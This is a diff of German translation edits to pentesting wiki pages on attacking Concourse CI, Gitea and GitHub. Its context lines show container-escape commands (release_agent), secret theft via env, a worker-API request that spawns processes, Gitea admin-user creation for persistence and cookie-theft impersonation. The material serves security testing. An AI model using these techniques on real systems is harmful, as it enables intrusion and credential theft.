- **Entkommen** zum **Knoten** (indem Sie Ihnen genügend Berechtigungen geben - `privileged: true`)
+- **Geheimnisse** **stehlen** (indem Sie sie ausgeben oder in den Container gelangen und `env` ausführen)
+- Zu dem **Knoten** **entkommen** (indem Sie Ihnen genügend Berechtigungen geben - `privileged: true`)
 - **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten)
- **Gelöschte** Pipeline erstellen
+- Erstellte Pipeline **löschen**

 #### Benutzerdefinierte Aufgabe ausführen

-Dies ist ähnlich wie die vorherige Methode, aber anstatt eine ganz neue Pipeline zu ändern/zu erstellen, können Sie **einfach eine benutzerdefinierte Aufgabe ausführen** (die wahrscheinlich viel **heimlicher** sein wird):
+Dies ist ähnlich wie die vorherige Methode, aber anstatt eine ganze neue Pipeline zu ändern/zu erstellen, können Sie **einfach eine benutzerdefinierte Aufgabe ausführen** (die wahrscheinlich viel **heimlicher** sein wird):
 ```yaml
 # For more task_config options check https://concourse-ci.org/tasks.html
 platform: linux
@@ -197,11 +197,11 @@ SUPER_SECRET: ((super.secret))
 ```bash
 fly -t tutorial execute --privileged --config task_config.yml
 ```
-#### Entkommen zum Knoten von privilegierter Aufgabe
+#### Ausbrechen zum Knoten von privilegierter Aufgabe

-In den vorherigen Abschnitten haben wir gesehen, wie man **eine privilegierte Aufgabe mit concourse ausführt**. Dies gibt dem Container nicht genau den gleichen Zugriff wie das privilegierte Flag in einem Docker-Container. Zum Beispiel werden Sie das Knoten-Dateisystemgerät in /dev nicht sehen, sodass das Entkommen "komplexer" sein könnte.
+In den vorherigen Abschnitten haben wir gesehen, wie man **eine privilegierte Aufgabe mit concourse ausführt**. Dies wird dem Container nicht genau den gleichen Zugriff wie das privilegierte Flag in einem Docker-Container geben. Zum Beispiel werden Sie das Knoten-Dateisystemgerät in /dev nicht sehen, sodass der Ausbruch "komplexer" sein könnte.

-In der folgenden PoC werden wir den release_agent verwenden, um mit einigen kleinen Modifikationen zu entkommen:
+In dem folgenden PoC werden wir den release_agent verwenden, um mit einigen kleinen Modifikationen auszubrechen:
 ```bash
 # Mounts the RDMA cgroup controller and create a child cgroup
 # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -262,9 +262,9 @@ cat /output
 > [!WARNING]
 > Wie Sie vielleicht bemerkt haben, handelt es sich hierbei nur um eine [**reguläre release_agent-Escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), bei der der Pfad des cmd im Knoten geändert wird.

-#### Escape zum Knoten von einem Worker-Container
+#### Escaping zum Knoten von einem Worker-Container

-Eine reguläre release_agent-Escape mit einer kleinen Modifikation ist dafür ausreichend:
+Eine reguläre release_agent-Escape mit einer geringfügigen Modifikation ist dafür ausreichend:
 ```bash
 mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

@@ -293,7 +293,7 @@ cat /output
 ```
 #### Escaping to the node from the Web container

-Auch wenn der Web-Container einige Verteidigungen deaktiviert hat, läuft er **nicht als ein gewöhnlicher privilegierter Container** (zum Beispiel **kannst** du **nicht** **mounten** und die **Fähigkeiten** sind sehr **begrenzt**, sodass alle einfachen Möglichkeiten, aus dem Container zu entkommen, nutzlos sind).
+Selbst wenn der Web-Container einige Verteidigungen deaktiviert hat, **läuft er nicht als ein gewöhnlicher privilegierter Container** (zum Beispiel **kannst du** **nicht** **mounten** und die **Fähigkeiten** sind sehr **begrenzt**, sodass alle einfachen Möglichkeiten, aus dem Container zu entkommen, nutzlos sind).

 Allerdings speichert er **lokale Anmeldeinformationen im Klartext**:
 ```bash
@@ -304,9 +304,9 @@ env | grep -i local_user
 CONCOURSE_MAIN_TEAM_LOCAL_USER=test
 CONCOURSE_ADD_LOCAL_USER=test:test
 ```
-Du könntest diese Anmeldeinformationen verwenden, um **dich am Webserver anzumelden** und **einen privilegierten Container zu erstellen und zum Knoten zu entkommen**.
+Sie könnten diese Anmeldeinformationen verwenden, um **sich am Webserver anzumelden** und **einen privilegierten Container zu erstellen und zum Knoten zu entkommen**.

-In der Umgebung kannst du auch Informationen finden, um **auf die postgresql**-Instanz zuzugreifen, die concourse verwendet (Adresse, **Benutzername**, **Passwort** und Datenbank unter anderem Informationen):
+In der Umgebung finden Sie auch Informationen zum **Zugriff auf die postgresql**-Instanz, die concourse verwendet (Adresse, **Benutzername**, **Passwort** und Datenbank unter anderem Informationen):
 ```bash
 env | grep -i postg
 CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -348,12 +348,12 @@ Capabilities:
 BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
 Seccomp: disabled
 ```
-Allerdings funktionieren Techniken wie das **Mounten** des /dev-Geräts des Knotens oder des release_agent **nicht** (da das echte Gerät mit dem Dateisystem des Knotens nicht zugänglich ist, sondern nur ein virtuelles). Wir können nicht auf Prozesse des Knotens zugreifen, daher wird das Entkommen aus dem Knoten ohne Kernel-Exploits kompliziert.
+Allerdings funktionieren Techniken wie das **Mounten** des /dev-Geräts des Knotens oder des release_agent **nicht** (da das echte Gerät mit dem Dateisystem des Knotens nicht zugänglich ist, nur ein virtuelles). Wir können nicht auf Prozesse des Knotens zugreifen, daher wird das Entkommen aus dem Knoten ohne Kernel-Exploits kompliziert.

 > [!NOTE]
 > Im vorherigen Abschnitt haben wir gesehen, wie man aus einem privilegierten Container entkommt. Wenn wir also **Befehle** in einem **privilegierten Container** ausführen können, der vom **aktuellen** **Worker** erstellt wurde, könnten wir **zum Knoten entkommen**.

-Beachten Sie, dass ich beim Spielen mit Concourse festgestellt habe, dass die Containerprozesse zugänglich sind, wenn ein neuer Container zum Ausführen von etwas erstellt wird, sodass es ist, als würde ein Container einen neuen Container in sich selbst erstellen.
+Beachten Sie, dass ich beim Spielen mit Concourse festgestellt habe, dass die Prozesse des Containers zugänglich sind, wenn ein neuer Container zum Ausführen von etwas erstellt wird, sodass es ist, als würde ein Container einen neuen Container in sich erstellen.

 **In einen laufenden privilegierten Container gelangen**
 ```bash
@@ -387,7 +387,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],
 --header='Content-Type:application/json' \
 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
 ```
-Allerdings überprüft der Webserver alle paar Sekunden die laufenden Container, und wenn ein unerwarteter entdeckt wird, wird er gelöscht. Da die Kommunikation über HTTP erfolgt, könnten Sie die Kommunikation manipulieren, um die Löschung unerwarteter Container zu vermeiden:
+Der Webserver überprüft jedoch alle paar Sekunden die laufenden Container, und wenn ein unerwarteter entdeckt wird, wird er gelöscht. Da die Kommunikation über HTTP erfolgt, könnten Sie die Kommunikation manipulieren, um die Löschung unerwarteter Container zu vermeiden:
 ```
 GET /containers HTTP/1.1.
 Host: 127.0.0.1:7777.
@@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse
 # If you need to delete it
 helm delete concourse-release
 ```
-Nachdem Sie die Concourse-Umgebung erstellt haben, können Sie ein Geheimnis generieren und dem SA, der in Concourse Web ausgeführt wird, Zugriff auf K8s-Geheimnisse gewähren:
+Nachdem Sie die Concourse-Umgebung erstellt haben, können Sie ein Geheimnis generieren und dem SA, der in Concourse Web läuft, Zugriff auf K8s-Geheimnisse gewähren:
 ```yaml
 echo 'apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
@@ -81,11 +81,11 @@ Es können mehrere verschiedene Arten von Schritten verwendet werden:
 - der [`set_pipeline` Schritt](https://concourse-ci.org/set-pipeline-step.html) konfiguriert eine [Pipeline](https://concourse-ci.org/pipelines.html)
 - der [`load_var` Schritt](https://concourse-ci.org/load-var-step.html) lädt einen Wert in eine [lokale Variable](https://concourse-ci.org/vars.html#local-vars)
 - der [`in_parallel` Schritt](https://concourse-ci.org/in-parallel-step.html) führt Schritte parallel aus
- der [`do` Schritt](https://concourse-ci.org/do-step.html) führt Schritte in Folge aus
+- der [`do` Schritt](https://concourse-ci.org/do-step.html) führt Schritte sequenziell aus
 - der [`across` Schrittmodifikator](https://concourse-ci.org/across-step.html#schema.across) führt einen Schritt mehrfach aus; einmal für jede Kombination von Variablenwerten
 - der [`try` Schritt](https://concourse-ci.org/try-step.html) versucht, einen Schritt auszuführen und hat Erfolg, selbst wenn der Schritt fehlschlägt

-Jeder [Schritt](https://concourse-ci.org/steps.html) in einem [Job-Plan](https://concourse-ci.org/jobs.html#schema.job.plan) wird in **seinem eigenen Container** ausgeführt. Sie können alles, was Sie möchten, im Container ausführen _(d.h. meine Tests ausführen, dieses Bash-Skript ausführen, dieses Bild erstellen usw.)_. Wenn Sie also einen Job mit fünf Schritten haben, erstellt Concourse fünf Container, einen für jeden Schritt.
+Jeder [Schritt](https://concourse-ci.org/steps.html) in einem [Job-Plan](https://concourse-ci.org/jobs.html#schema.job.plan) läuft in seinem **eigenen Container**. Sie können alles, was Sie möchten, im Container ausführen _(d.h. meine Tests ausführen, dieses Bash-Skript ausführen, dieses Bild erstellen usw.)_. Wenn Sie also einen Job mit fünf Schritten haben, erstellt Concourse fünf Container, einen für jeden Schritt.

 Daher ist es möglich, den Typ des Containers anzugeben, in dem jeder Schritt ausgeführt werden muss.

@@ -127,7 +127,7 @@ fly -t tutorial intercept --job pipe-name/simple

 ### Bash-Skript mit Ausgabe/Eingabe-Pipeline

-Es ist möglich, **die Ergebnisse einer Aufgabe in einer Datei zu speichern** und anzugeben, dass es sich um eine Ausgabe handelt, und dann die Eingabe der nächsten Aufgabe als die Ausgabe der vorherigen Aufgabe anzugeben. Was Concourse tut, ist, **das Verzeichnis der vorherigen Aufgabe in der neuen Aufgabe zu mounten, wo Sie auf die von der vorherigen Aufgabe erstellten Dateien zugreifen können**.
+Es ist möglich, **die Ergebnisse einer Aufgabe in einer Datei zu speichern** und anzugeben, dass es sich um eine Ausgabe handelt, und dann die Eingabe der nächsten Aufgabe als Ausgabe der vorherigen Aufgabe anzugeben. Was Concourse tut, ist, **das Verzeichnis der vorherigen Aufgabe in der neuen Aufgabe zu mounten, wo Sie auf die von der vorherigen Aufgabe erstellten Dateien zugreifen können**.

 ### Trigger

@@ -27,15 +27,15 @@ Sie können es auch mit Kubernetes ausführen:
 helm repo add gitea-charts https://dl.gitea.io/charts/
 helm install gitea gitea-charts/gitea
 ```
-## Unauthenticated Enumeration
+## Unauthentifizierte Enumeration

 - Öffentliche Repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
 - Registrierte Benutzer: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
 - Registrierte Organisationen: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)

-Beachten Sie, dass **Gitea standardmäßig neuen Benutzern die Registrierung erlaubt**. Dies wird den neuen Benutzern keinen besonders interessanten Zugriff auf die Repos anderer Organisationen/Benutzer geben, aber ein **eingeloggter Benutzer** könnte in der Lage sein, **mehr Repos oder Organisationen zu visualisieren**.
+Beachten Sie, dass **Gitea standardmäßig neuen Benutzern die Registrierung erlaubt**. Dies gibt den neuen Benutzern keinen besonders interessanten Zugriff auf die Repos anderer Organisationen/Benutzer, aber ein **eingeloggter Benutzer** könnte in der Lage sein, **mehr Repos oder Organisationen zu visualisieren**.

-## Internal Exploitation
+## Interne Ausnutzung

 Für dieses Szenario nehmen wir an, dass Sie Zugriff auf ein GitHub-Konto erhalten haben.

@@ -46,7 +46,7 @@ Wenn Sie irgendwie bereits Anmeldeinformationen für einen Benutzer innerhalb ei
 Beachten Sie, dass **2FA verwendet werden kann**, sodass Sie diese Informationen nur abrufen können, wenn Sie auch **diesen Check bestehen**.

 > [!NOTE]
-> Beachten Sie, dass wenn Sie **es schaffen, den `i_like_gitea` Cookie zu stehlen** (der derzeit mit SameSite: Lax konfiguriert ist), können Sie **den Benutzer vollständig impersonifizieren**, ohne Anmeldeinformationen oder 2FA zu benötigen.
+> Beachten Sie, dass wenn Sie **es schaffen, das `i_like_gitea`-Cookie zu stehlen** (derzeit mit SameSite: Lax konfiguriert), können Sie **den Benutzer vollständig impersonifizieren**, ohne Anmeldeinformationen oder 2FA zu benötigen.

 ### Mit Benutzer-SSH-Schlüssel

@@ -58,7 +58,7 @@ Mit diesem Schlüssel können Sie **Änderungen in Repositories vornehmen, in de
 # Get repo config and current user name and email
 git config --list
 ```
-Wenn der Benutzer seinen Benutzernamen als seinen gitea Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er festgelegt hat**, in _https://github.com/\<gitea_username>.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der private Schlüssel, den Sie gefunden haben, verwendet werden kann.
+Wenn der Benutzer seinen Benutzernamen als seinen gitea Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er in seinem Konto festgelegt hat**, unter _https://github.com/\<gitea_username>.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der private Schlüssel, den Sie gefunden haben, verwendet werden kann.

 **SSH-Schlüssel** können auch in Repositories als **Deploy-Schlüssel** festgelegt werden. Jeder, der Zugriff auf diesen Schlüssel hat, kann **Projekte aus einem Repository starten**. In einem Server mit verschiedenen Deploy-Schlüsseln gibt die lokale Datei **`~/.ssh/config`** Informationen darüber, welcher Schlüssel zugeordnet ist.

@@ -72,13 +72,13 @@ gpg --list-secret-keys --keyid-format=long
 ```
 ### Mit Benutzer-Token

-Für eine Einführung über [**Benutzer-Token siehe die grundlegenden Informationen**](basic-gitea-information.md#personal-access-tokens).
+Für eine Einführung über [**Benutzer-Token überprüfen Sie die grundlegenden Informationen**](basic-gitea-information.md#personal-access-tokens).

 Ein Benutzer-Token kann **anstatt eines Passworts** verwendet werden, um sich **gegenüber dem Gitea-Server** [**über die API**](https://try.gitea.io/api/swagger#/) zu **authentifizieren**. Es hat **vollständigen Zugriff** auf den Benutzer.

 ### Mit Oauth-Anwendung

-Für eine Einführung über [**Gitea Oauth-Anwendungen siehe die grundlegenden Informationen**](./#with-oauth-application).
+Für eine Einführung über [**Gitea Oauth-Anwendungen überprüfen Sie die grundlegenden Informationen**](./#with-oauth-application).

 Ein Angreifer könnte eine **bösartige Oauth-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich als Teil einer Phishing-Kampagne akzeptieren.

@@ -86,45 +86,45 @@ Wie in den grundlegenden Informationen erklärt, hat die Anwendung **vollen Zugr

 ### Umgehung des Branch-Schutzes

-In Github haben wir **github actions**, die standardmäßig ein **Token mit Schreibzugriff** auf das Repo erhalten, das verwendet werden kann, um **Branch-Schutzmaßnahmen zu umgehen**. In diesem Fall **existiert das nicht**, sodass die Umgehungen eingeschränkter sind. Aber schauen wir uns an, was getan werden kann:
+In Github haben wir **github actions**, die standardmäßig ein **Token mit Schreibzugriff** auf das Repository erhalten, das verwendet werden kann, um **Branch-Schutzmaßnahmen zu umgehen**. In diesem Fall **existiert das nicht**, sodass die Umgehungen eingeschränkter sind. Aber schauen wir uns an, was getan werden kann:

 - **Push aktivieren**: Wenn jemand mit Schreibzugriff auf den Branch pushen kann, pushen Sie einfach darauf.
 - **Whitelist für eingeschränkten Push**: Auf die gleiche Weise, wenn Sie Teil dieser Liste sind, pushen Sie auf den Branch.
 - **Merge-Whitelist aktivieren**: Wenn es eine Merge-Whitelist gibt, müssen Sie darin sein.
- **Genehmigungen müssen größer als 0 sein**: Dann... müssen Sie einen anderen Benutzer kompromittieren.
- **Genehmigungen auf Whitelist beschränken**: Wenn nur Benutzer auf der Whitelist genehmigen können... müssen Sie einen anderen Benutzer kompromittieren, der in dieser Liste ist.
- **Veraltete Genehmigungen zurückweisen**: Wenn Genehmigungen nicht mit neuen Commits entfernt werden, könnten Sie einen bereits genehmigten PR hijacken, um Ihren Code einzufügen und den PR zu mergen.
+- **Genehmigungen sind größer als 0 erforderlich**: Dann... müssen Sie einen anderen Benutzer kompromittieren.
+- **Genehmigungen auf Whitelist beschränken**: Wenn nur Benutzer auf der Whitelist genehmigen können... müssen Sie einen anderen Benutzer kompromittieren, der auf dieser Liste steht.
+- **Veraltete Genehmigungen zurückweisen**: Wenn Genehmigungen mit neuen Commits nicht entfernt werden, könnten Sie einen bereits genehmigten PR hijacken, um Ihren Code einzufügen und den PR zu mergen.

-Beachten Sie, dass **wenn Sie ein Org/Repo-Admin sind**, Sie die Schutzmaßnahmen umgehen können.
+Beachten Sie, dass **wenn Sie ein Org/Repo-Admin sind**, können Sie die Schutzmaßnahmen umgehen.

 ### Webhooks auflisten

 **Webhooks** sind in der Lage, **spezifische Gitea-Informationen an bestimmte Orte zu senden**. Sie könnten in der Lage sein, **diese Kommunikation auszunutzen**.\
 Allerdings wird normalerweise ein **Geheimnis**, das Sie **nicht abrufen können**, im **Webhook** festgelegt, das **verhindert**, dass externe Benutzer, die die URL des Webhooks, aber nicht das Geheimnis kennen, **diesen Webhook ausnutzen**.\
-Aber in einigen Fällen setzen Leute anstelle des Setzens des **Geheimnisses** an seinem Platz, sie **setzen es in die URL** als Parameter, sodass **das Überprüfen der URLs** Ihnen ermöglichen könnte, **Geheimnisse** und andere Orte zu finden, die Sie weiter ausnutzen könnten.
+In einigen Fällen setzen Menschen jedoch anstelle des **Geheimnisses** an seinem Platz, **es in der URL** als Parameter, sodass **das Überprüfen der URLs** Ihnen ermöglichen könnte, **Geheimnisse** und andere Orte zu finden, die Sie weiter ausnutzen könnten.

 Webhooks können auf **Repo- und Org-Ebene** festgelegt werden.

-## Nach der Ausnutzung
+## Post-Exploitation

-### Innerhalb des Servers
+### Auf dem Server

-Wenn Sie es irgendwie geschafft haben, in den Server zu gelangen, auf dem Gitea läuft, sollten Sie nach der Gitea-Konfigurationsdatei suchen. Standardmäßig befindet sie sich in `/data/gitea/conf/app.ini`.
+Wenn Sie es irgendwie geschafft haben, auf den Server zu gelangen, auf dem Gitea läuft, sollten Sie nach der Gitea-Konfigurationsdatei suchen. Standardmäßig befindet sie sich in `/data/gitea/conf/app.ini`.

 In dieser Datei finden Sie **Schlüssel** und **Passwörter**.

 Im Gitea-Pfad (standardmäßig: /data/gitea) finden Sie auch interessante Informationen wie:

- Die **sqlite** DB: Wenn Gitea keine externe DB verwendet, wird es eine sqlite DB verwenden.
+- Die **sqlite** DB: Wenn Gitea keine externe DB verwendet, wird es eine SQLite-DB verwenden.
 - Die **Sitzungen** im Sitzungsordner: Durch Ausführen von `cat sessions/*/*/*` können Sie die Benutzernamen der angemeldeten Benutzer sehen (Gitea könnte auch die Sitzungen in der DB speichern).
 - Der **jwt private key** im jwt-Ordner.
 - Weitere **sensible Informationen** könnten in diesem Ordner gefunden werden.

-Wenn Sie sich im Server befinden, können Sie auch **die `gitea`-Binary** verwenden, um Informationen zuzugreifen/zu ändern:
+Wenn Sie sich auf dem Server befinden, können Sie auch die **`gitea`-Binary** verwenden, um Informationen zuzugreifen/zu ändern:

 - `gitea dump` wird Gitea dumpen und eine .zip-Datei generieren.
 - `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` generiert ein Token des angegebenen Typs (Persistenz).
- `gitea admin user change-password --username admin --password newpassword` Ändert das Passwort.
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Erstellt einen neuen Admin-Benutzer und erhält ein Zugriffstoken.
+- `gitea admin user change-password --username admin --password newpassword` ändert das Passwort.
+- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` erstellt einen neuen Admin-Benutzer und erhält ein Zugriffstoken.

 {{#include ../../banners/hacktricks-training.md}}
@@ -38,7 +38,7 @@ Beim Erstellen eines neuen Teams werden mehrere wichtige Einstellungen ausgewäh

 ### Teams & Benutzer

-In einem Repo können der **Org-Admin** und die **Repo-Admins** (sofern von der Org erlaubt) die **Rollen** verwalten, die den Mitarbeitern (anderen Benutzern) und Teams zugewiesen sind. Es gibt **3** mögliche **Rollen**:
+In einem Repo können der **Org-Admin** und die **Repo-Admins** (sofern von der Org erlaubt) die Rollen verwalten, die den Mitarbeitern (anderen Benutzern) und Teams zugewiesen sind. Es gibt **3** mögliche **Rollen**:

 - Administrator
 - Schreiben
@@ -64,38 +64,38 @@ Sie können persönliche Zugriffstoken generieren, um **einer Anwendung Zugriff

 ### Oauth-Anwendungen

-Genau wie persönliche Zugriffstoken haben **Oauth-Anwendungen** **vollständigen Zugriff** auf Ihr Konto und die Orte, auf die Ihr Konto Zugriff hat, da, wie in den [Dokumenten](https://docs.gitea.io/en-us/oauth2-provider/#scopes) angegeben, Scopes noch nicht unterstützt werden:
+Genau wie persönliche Zugriffstoken haben **Oauth-Anwendungen** **vollständigen Zugriff** auf Ihr Konto und die Orte, auf die Ihr Konto Zugriff hat, da, wie in den [Docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) angegeben, Scopes noch nicht unterstützt werden:

 ![](<../../images/image (194).png>)

-### Bereitstellungsschlüssel
+### Deploy-Schlüssel

-Bereitstellungsschlüssel können Lese- oder Schreibzugriff auf das Repo haben, sodass sie interessant sein könnten, um spezifische Repos zu kompromittieren.
+Deploy-Schlüssel können Lese- oder Schreibzugriff auf das Repo haben, sodass sie interessant sein könnten, um spezifische Repos zu kompromittieren.

 ## Branch-Schutz

-Branch-Schutzmaßnahmen sind so konzipiert, dass sie **keine vollständige Kontrolle über ein Repository** an die Benutzer geben. Das Ziel ist es, **mehrere Schutzmethoden zu implementieren, bevor man in der Lage ist, Code in einen bestimmten Branch zu schreiben**.
+Branch-Schutzmaßnahmen sind darauf ausgelegt, **Benutzern nicht die vollständige Kontrolle über ein Repository zu geben**. Das Ziel ist es, **mehrere Schutzmethoden zu implementieren, bevor man in der Lage ist, Code in einen bestimmten Branch zu schreiben**.

 Die **Branch-Schutzmaßnahmen eines Repositories** finden Sie unter _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_

 > [!NOTE]
 > Es ist **nicht möglich, einen Branch-Schutz auf Organisationsebene festzulegen**. Daher müssen alle in jedem Repo deklariert werden.

-Verschiedene Schutzmaßnahmen können auf einen Branch angewendet werden (wie auf master):
+Verschiedene Schutzmaßnahmen können auf einen Branch (wie auf master) angewendet werden:

 - **Push deaktivieren**: Niemand kann in diesen Branch pushen.
 - **Push aktivieren**: Jeder mit Zugriff kann pushen, aber nicht force pushen.
- **Whitelist eingeschränkter Push**: Nur ausgewählte Benutzer/Teams können in diesen Branch pushen (aber kein Force Push).
- **Whitelist für Merge aktivieren**: Nur auf die Whitelist gesetzte Benutzer/Teams können PRs mergen.
- **Statusprüfungen aktivieren:** Statusprüfungen müssen bestehen, bevor gemerged wird.
- **Genehmigungen erforderlich**: Geben Sie die Anzahl der erforderlichen Genehmigungen an, bevor ein PR gemerged werden kann.
- **Genehmigungen auf Whitelist beschränken**: Geben Sie Benutzer/Teams an, die PRs genehmigen können.
+- **Whitelist eingeschränkter Push**: Nur ausgewählte Benutzer/Teams können in diesen Branch pushen (aber kein force push).
+- **Whitelist für Merge aktivieren**: Nur aufgelistete Benutzer/Teams können PRs mergen.
+- **Statusprüfungen aktivieren:** Erfordert, dass Statusprüfungen bestanden werden, bevor gemerged wird.
+- **Genehmigungen erforderlich**: Gibt die Anzahl der erforderlichen Genehmigungen an, bevor ein PR gemerged werden kann.
+- **Genehmigungen auf Whitelist beschränken**: Gibt Benutzer/Teams an, die PRs genehmigen können.
 - **Merge bei abgelehnten Überprüfungen blockieren**: Wenn Änderungen angefordert werden, kann es nicht gemerged werden (auch wenn die anderen Prüfungen bestehen).
 - **Merge bei offiziellen Überprüfungsanfragen blockieren**: Wenn es offizielle Überprüfungsanfragen gibt, kann es nicht gemerged werden.
 - **Veraltete Genehmigungen zurückweisen**: Bei neuen Commits werden alte Genehmigungen zurückgewiesen.
 - **Signierte Commits erforderlich**: Commits müssen signiert sein.
 - **Merge blockieren, wenn der Pull-Request veraltet ist.**
- **Geschützte/ungeschützte Dateimuster**: Geben Sie Muster von Dateien an, die gegen Änderungen geschützt/ungeschützt werden sollen.
+- **Geschützte/ungeschützte Dateimuster**: Gibt Muster von Dateien an, die gegen Änderungen geschützt/ungeschützt werden sollen.

 > [!NOTE]
 > Wie Sie sehen können, selbst wenn Sie es geschafft haben, einige Anmeldeinformationen eines Benutzers zu erhalten, **könnten Repos geschützt sein, sodass Sie beispielsweise keinen Code in master pushen können, um die CI/CD-Pipeline zu kompromittieren.**
@@ -24,7 +24,7 @@ Falls Sie den **Benutzer, das Repo oder die Organisation, die Sie anvisieren mö

 ### Github Dorks

-Github ermöglicht es, **nach etwas zu suchen, indem man als Umfang einen Benutzer, ein Repo oder eine Organisation angibt**. Daher können Sie mit einer Liste von Zeichenfolgen, die in der Nähe sensibler Informationen erscheinen, leicht **nach potenziell sensiblen Informationen in Ihrem Ziel suchen**.
+Github ermöglicht es, **nach etwas zu suchen, indem man als Bereich einen Benutzer, ein Repo oder eine Organisation angibt**. Daher können Sie mit einer Liste von Zeichenfolgen, die in der Nähe sensibler Informationen erscheinen, leicht **nach potenziell sensiblen Informationen in Ihrem Ziel suchen**.

 Tools (jedes Tool enthält seine Liste von Dorks):

@@ -32,9 +32,9 @@ Tools (jedes Tool enthält seine Liste von Dorks):
 - [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks-Liste](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
 - [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks-Liste](https://github.com/hisxo/gitGraber/tree/master/wordlists))

-### Github-Leaks
+### Github Leaks

-Bitte beachten Sie, dass die Github-Dorks auch dazu gedacht sind, nach Leaks zu suchen, indem die Suchoptionen von Github verwendet werden. Dieser Abschnitt ist den Tools gewidmet, die **jedes Repo herunterladen und nach sensiblen Informationen darin suchen** (sogar bestimmte Tiefen von Commits überprüfen).
+Bitte beachten Sie, dass die Github Dorks auch dazu gedacht sind, nach Leaks zu suchen, indem die Suchoptionen von Github verwendet werden. Dieser Abschnitt ist den Tools gewidmet, die **jedes Repo herunterladen und nach sensiblen Informationen darin suchen** (sogar bestimmte Tiefen von Commits überprüfen).

 Tools (jedes Tool enthält seine Liste von Regex):

@@ -53,7 +53,7 @@ Tools (jedes Tool enthält seine Liste von Regex):

 Es ist möglich, **Repos zu kompromittieren, indem man Pull-Requests missbraucht**. Um zu wissen, ob ein Repo anfällig ist, müssen Sie hauptsächlich die Github Actions YAML-Konfigurationen lesen. [**Weitere Informationen dazu finden Sie unten**](./#execution-from-a-external-fork).

-### Github-Leaks in gelöschten/internen Forks
+### Github Leaks in gelöschten/internen Forks

 Selbst wenn sie gelöscht oder intern sind, könnte es möglich sein, sensible Daten aus Forks von Github-Repositories zu erhalten. Überprüfen Sie es hier:

@@ -67,12 +67,12 @@ accessible-deleted-data-in-github.md

 Es gibt einige **Standardprivilegien**, die Mitgliedern der Organisation zugewiesen werden können. Diese können von der Seite `https://github.com/organizations/<org_name>/settings/member_privileges` oder von der [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) gesteuert werden.

- **Basisberechtigungen**: Mitglieder haben die Berechtigung None/Read/write/Admin über die Repos der Organisation. Empfohlen ist **None** oder **Read**.
- **Repository-Forking**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht zu erlauben**, Organisation-Repositories zu forken.
- **Seiten erstellen**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht zu erlauben**, Seiten aus den Org-Repos zu veröffentlichen. Wenn nötig, können Sie das Erstellen öffentlicher oder privater Seiten erlauben.
+- **Basisberechtigungen**: Mitglieder haben die Berechtigung None/Read/write/Admin über die Repos der Organisation. Empfohlen wird **None** oder **Read**.
+- **Repository-Forking**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht** zu erlauben, Repositories der Organisation zu forken.
+- **Seiten erstellen**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht** zu erlauben, Seiten aus den Repos der Organisation zu veröffentlichen. Wenn notwendig, können Sie das Erstellen öffentlicher oder privater Seiten erlauben.
 - **Zugriffsanforderungen für Integrationen**: Mit dieser Aktivierung können externe Mitarbeiter den Zugriff auf GitHub oder OAuth-Apps anfordern, um auf diese Organisation und ihre Ressourcen zuzugreifen. Es ist normalerweise erforderlich, aber wenn nicht, ist es besser, es zu deaktivieren.
 - _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
- **Änderung der Repository-Sichtbarkeit**: Wenn aktiviert, können **Mitglieder** mit **Admin**-Berechtigungen für das **Repository** die **Sichtbarkeit ändern**. Wenn deaktiviert, können nur Organisationsinhaber die Sichtbarkeit von Repositories ändern. Wenn Sie **nicht** möchten, dass Personen Dinge **öffentlich** machen, stellen Sie sicher, dass dies **deaktiviert** ist.
+- **Änderung der Repository-Sichtbarkeit**: Wenn aktiviert, können **Mitglieder** mit **Admin**-Berechtigungen für das **Repository** die **Sichtbarkeit ändern**. Wenn deaktiviert, können nur Organisationsinhaber die Sichtbarkeit von Repositories ändern. Wenn Sie nicht möchten, dass Personen Dinge **öffentlich** machen, stellen Sie sicher, dass dies **deaktiviert** ist.
 - _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
 - **Löschen und Übertragen von Repositories**: Wenn aktiviert, können Mitglieder mit **Admin**-Berechtigungen für das Repository **öffentliche und private Repositories löschen oder übertragen**.
